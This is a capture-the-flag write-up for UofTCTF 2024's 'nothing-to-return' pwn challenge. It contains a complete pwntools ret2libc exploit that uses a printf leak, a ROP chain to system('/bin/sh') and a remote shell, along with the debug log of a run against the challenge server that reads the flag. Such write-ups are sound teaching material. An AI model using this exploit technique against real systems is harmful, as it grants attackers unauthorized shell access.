nothing-to-return [137 Solves]

Description

Now this challenge has a binary of a very small size.

"The binary has no useful gadgets! There is just nothing to return to!"

nice try... ntr

Author: drec

nc 34.30.126.104 5000

Attachments: ld-linux-x86-64.so.2, libc.so.6, nothing-to-return

Short Solution

Basic ret2libc

Solution

Basic file checks

$ file nothing-to-return
nothing-to-return: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ld-linux-x86-64.so.2, BuildID[sha1]=fba831e950a088abe29e327d3556cc8e0c4f881d, for GNU/Linux 4.4.0, not stripped

$ checksec nothing-to-return
[*] '/root/ctf/UofTCTF_2024/pwn/nothing-to-return/nothing-to-return'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'

solver.py

I used ret instruction of nothing-to-return and pop edi, ret instruction of libc.

from pwn import *

context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]

elf = ELF("./nothing-to-return", checksec=False)
rop = ROP(elf)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

context.binary = elf


def conn() -> pwnlib.tubes:
    if args.REMOTE:
        io = remote("34.30.126.104", 5000)

    elif args.GDB:
        gdbscript = """
        b *main+108
        c
        """
        pty = process.PTY
        io = gdb.debug([elf.path], gdbscript=gdbscript, stdin=pty, stdout=pty)
    else:
        pty = process.PTY
        io = elf.process(stdin=pty, stdout=pty)

    return io


def main():
    io = conn()
    io.recvuntil(b"printf is at ")
    leak = int(io.recvS(14), 16)

    log.info(f"leak printf: {hex(leak)}")

    libc.address = leak - libc.sym["printf"]

    binsh = next(libc.search(b"/bin/sh"))
    ret = ROP(elf).find_gadget(["ret"])[0]
    pop_rdi = ROP(libc).find_gadget(["pop rdi", "ret"])[0]

    log.info(f"pop_rdi: {hex(pop_rdi)}")
    log.info(f"libc base: {hex(libc.address)}")
    log.info(f"system: {hex(libc.sym['system'])}")
    log.info(f"binsh: {hex(binsh)}")

    offset = 72
    payload = (
        b"A" * offset + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(libc.sym["system"])
    )

    io.sendlineafter(b"Input size:", str(len(payload)).encode())
    io.sendlineafter(b"Enter your input:", payload)
    io.interactive("")


if __name__ == "__main__":
    main()

Result:

$ python3 solver.py REMOTE
[*] Loaded 5 cached gadgets for './nothing-to-return'
[*]
[+] Opening connection to 34.30.126.104 on port 5000: Done
[DEBUG] Received 0x3f bytes:
    b'printf is at 0x7e9221ac8250\n'
    b'Hello give me an input\n'
    b'Input size:\n'
[*] leak printf: 0x7e9221ac8250
[*] Loaded 216 cached gadgets for './libc.so.6'
[*] pop_rdi: 0x7e9221a9a265
[*] libc base: 0x7e9221a72000
[*] system: 0x7e9221ac1760
[*] binsh: 0x7e9221c11e34
[DEBUG] Sent 0x4 bytes:
    b'104\n'
[DEBUG] Received 0x12 bytes:
    b'Enter your input:\n'
[DEBUG] Sent 0x69 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  1a 10 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  65 a2 a9 21  92 7e 00 00  34 1e c1 21  92 7e 00 00  │e··!│·~··│4··!│·~··│
    00000060  60 17 ac 21  92 7e 00 00  0a                        │`··!│·~··│·│
    00000069
[*] Switching to interactive mode

[DEBUG] Received 0x65 bytes:
    00000000  49 27 6d 20  72 65 74 75  72 6e 69 6e  67 20 74 68  │I'm │retu│rnin│g th│
    00000010  65 20 69 6e  70 75 74 3a  0a 41 41 41  41 41 41 41  │e in│put:│·AAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 1a 10 40  0a                                     │A··@│·│
    00000065
I'm returning the input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@
ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x28 bytes:
    b'flag\n'
    b'ld-linux-x86-64.so.2\n'
    b'libc.so.6\n'
    b'run\n'
flag
ld-linux-x86-64.so.2
libc.so.6
run
cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x1f bytes:
    b'uoftctf{you_can_always_return}\n'
uoftctf{you_can_always_return}

Flag

uoftctf{you_can_always_return}